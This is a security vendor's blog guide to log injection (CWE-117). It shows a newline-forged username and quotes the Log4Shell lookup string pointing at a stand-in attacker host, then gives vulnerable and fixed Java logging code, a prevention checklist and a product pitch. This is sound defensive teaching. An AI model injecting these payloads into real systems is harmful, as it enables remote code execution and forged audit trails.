Safeguard
Vulnerability Guides

Log Injection: How Attackers Poison Your Logs (and How to Stop Them)

Logs are supposed to be your source of truth during an incident. Log injection lets attackers forge entries, break parsers, and — in the worst cases — trigger code execution from a log line.

Daniel Osei
Security Researcher
5 min read

When something goes wrong in production, your logs are the first place you look. That makes them a target. If an attacker can write whatever they want into your log stream, they can hide their tracks, frame someone else, break the tools that parse the logs, and — as Log4Shell proved — occasionally reach far worse outcomes than a forged line.

What is log injection?

Log injection (CWE-117, Improper Output Neutralization for Logs) is a vulnerability where an application writes unsanitized user input into log entries, allowing an attacker to forge or manipulate log records, inject control characters, or exploit downstream log processors. The most common variant is log forging: the attacker embeds newline characters to fabricate entire log lines. A more severe variant occurs when the logging pipeline itself interprets the logged data — the mechanism behind the Log4Shell catastrophe.

How the attack works

Consider a login handler that logs failed attempts:

logger.info("Failed login for user: " + username);

If username is admin\n[INFO] Password reset approved for admin by system, the log now contains a fabricated second line that looks entirely legitimate. During an investigation, that forged entry can send responders down the wrong path or manufacture false evidence. Beyond forging, injected ANSI escape sequences can corrupt terminal output for anyone tailing the logs, and control characters can break the CSV, JSON, or regex parsers that feed your SIEM.

The catastrophic case is when logged content is evaluated. CVE-2021-44228 (Log4Shell) worked because Apache Log4j 2 performed message lookups on logged strings: an attacker who got the substring ${jndi:ldap://evil.tld/a} into any logged field — a User-Agent, a username, a header — could trigger a JNDI lookup and remote code execution. It was one of the most severe and widely exploited vulnerabilities in the history of the web, and it started with untrusted data reaching a log call.

Vulnerable vs. fixed

A Java handler concatenating user input into a log message:

// VULNERABLE — newlines in username forge log lines; raw string enables lookups
log.info("Login failed for user: " + username);

The fix uses parameterized logging (so the framework treats the value as data), neutralizes CRLF, and — critically — keeps the logging library patched and lookups disabled:

// FIXED — parameterized logging + sanitized value + patched, lookup-free logger
String safeUser = username.replaceAll("[\\r\\n]", "_");
log.info("Login failed for user: {}", safeUser);   // {} is a data placeholder

Parameterized logging ({} in SLF4J/Logback, %s with args, structured fields) matters for two reasons: it prevents the value from being interpreted as a format or lookup expression, and it keeps your logs structured so downstream tools stay reliable. Stripping or encoding \r and \n closes the forging vector. For Log4Shell specifically, the durable fix was upgrading Log4j and ensuring message-lookup substitution is disabled by default.

Prevention checklist

  • Neutralize CRLF and control characters in any user-controlled value before it is logged — replace or encode \r, \n, and non-printable bytes.
  • Use parameterized / structured logging. Pass values as fields or placeholders, never as concatenated strings. This preserves log integrity and prevents interpretation.
  • Prefer structured (JSON) logs. A JSON log line where user data is a properly escaped value is far harder to forge than free-form text.
  • Keep logging libraries patched and disable dynamic interpolation/lookups. Log4Shell was a logging-library feature, not just an app bug.
  • Never log secrets or full request bodies — sanitization does not help if you are writing tokens and PII into a searchable store.
  • Protect log integrity downstream. Ship logs to an append-only, access-controlled store so a foothold in the app cannot rewrite history.
  • Validate what your SIEM ingests. Ensure parsers tolerate hostile input without breaking or being tricked.

Log injection is not just forging

Teams that patched Log4j sometimes assume log injection is behind them. It is not. Forged log lines still let an attacker cover their tracks or plant false evidence during an incident, and injected control sequences can break the JSON, CSV, or regex parsers your SIEM depends on — turning a security tool into a blind spot at exactly the wrong moment. Some log viewers even render ANSI escape codes, letting an attacker corrupt or spoof the console of whoever is tailing production logs. Because logs are frequently forwarded to third-party platforms and shared dashboards, a single unsanitized field can propagate a hostile payload far beyond the system that produced it. The lesson from Log4Shell is broader than one CVE: any data-to-code path in your observability pipeline is attack surface, and untrusted input must be neutralized before it is written, not after.

How Safeguard helps

Log injection has two faces — application code that logs untrusted input, and logging dependencies that interpret it — and Safeguard covers both. Griffin AI code review traces user-controlled data into logging calls and flags unsanitized concatenation, distinguishing safe parameterized logging from the raw string building that enables forging. Safeguard's software composition analysis inventories your logging libraries and raises high-severity alerts on Log4Shell-class advisories the moment they land, mapped to whether the affected version is actually in your build. When remediation means upgrading Log4j, Logback, or a logging shim — or converting a concatenated call to a parameterized one — Safeguard's auto-fix prepares the pull request. Catch both issues before merge by running the Safeguard CLI in your pipeline.

Want to see how continuous dependency monitoring compares to a point-in-time scanner? Browse the comparison hub.

Start free at app.safeguard.sh/register, and find secure-logging guidance at docs.safeguard.sh.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.